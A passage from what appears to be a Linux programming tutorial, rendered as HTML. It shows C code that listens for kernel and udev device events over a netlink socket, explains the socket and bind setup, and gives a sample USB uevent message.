&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nl_family&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AF_NETLINK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;udev_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nl_groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MONITOR_GROUP_KERNEL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nl_groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MONITOR_GROUP_UDEV&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sockaddr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bind&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Wait for a packet, and peek how big it is&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;ssize_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MSG_PEEK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MSG_TRUNC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;recv(peeking)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;realloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;buf_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Actually receive the packet&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;union&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;cmsghdr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmsg_hdr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CMSG_SPACE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ucred&lt;/span&gt;&lt;span class="p"&gt;))];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;iovec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iov_base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iov_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;msghdr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_namelen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_iov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iov&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_iovlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_control&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;aux&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_controllen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aux&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recvmsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;recvmsg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;msg_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MSG_TRUNC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MSG_CTRUNC&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;truncated message!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Print packet&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;print_stars&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ucred&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CMSG_DATA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;aux&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pid %d uid %d gid %d&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// It may be important to check what uid messages come from, but we don&amp;#39;t bother here&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;udev_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;print_kern_uevent_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;print_udev_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkt_sz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;Listening to kernel events&lt;/h1&gt;
&lt;p&gt;To listen to the events that the kernel normally sends to udev, we need to create a &lt;code&gt;AF_NETLINK&lt;/code&gt; socket with protocol &lt;code&gt;NETLINK_KOBJECT_UEVENT&lt;/code&gt; (&lt;code&gt;protocol&lt;/code&gt; is not typically used and is 0 for TCP and UDP, but we do need to specify it here):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_NETLINK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOCK_RAW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOCK_CLOEXEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NETLINK_KOBJECT_UEVENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We then need to specify which netlink multicast groups we want to listen to, using the &lt;code&gt;bind&lt;/code&gt; syscall:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sockaddr_nl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nl_family&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AF_NETLINK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nl_groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MONITOR_GROUP_KERNEL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sockaddr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In this case, we want group &lt;code&gt;MONITOR_GROUP_KERNEL&lt;/code&gt; which is &lt;code&gt;1&lt;/code&gt;. This is &lt;a href="https://github.com/torvalds/linux/blob/42eb01783091e49020221a8a7d6c00e154ae7e58/lib/kobject_uevent.c#L732"&gt;hardcoded in the kernel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And… that's it! At this point, &lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;recvmsg&lt;/code&gt;, and similar syscalls can be used to obtain data. The example code above performs some extra work to dynamically resize buffers and to receive Unix credentials, but we can ignore all of that for now.&lt;/p&gt;
&lt;h2&gt;Kernel event messages&lt;/h2&gt;
&lt;p&gt;Messages from the kernel consist of a list of null-terminated strings. The following is an example (there are no newlines in the message, but they have been added for readability):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;add@/devices/pci0000:00/0000:00:08.1/0000:04:00.3/dwc3.1.auto/xhci-hcd.2.auto/usb4/4-1/4-1.4␀
ACTION=add␀
DEVPATH=/devices/pci0000:00/0000:00:08.1/0000:04:00.3/dwc3.1.auto/xhci-hcd.2.auto/usb4/4-1/4-1.4␀
SUBSYSTEM=usb␀
MAJOR=189␀
MINOR=386␀
DEVNAME=bus/usb/004/003␀
DEVTYPE=usb_device␀
PRODUCT=b95/1790/200␀
TYPE=0/0/0␀
BUSNUM=004␀
DEVNUM=003␀
SEQNUM=7176␀
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

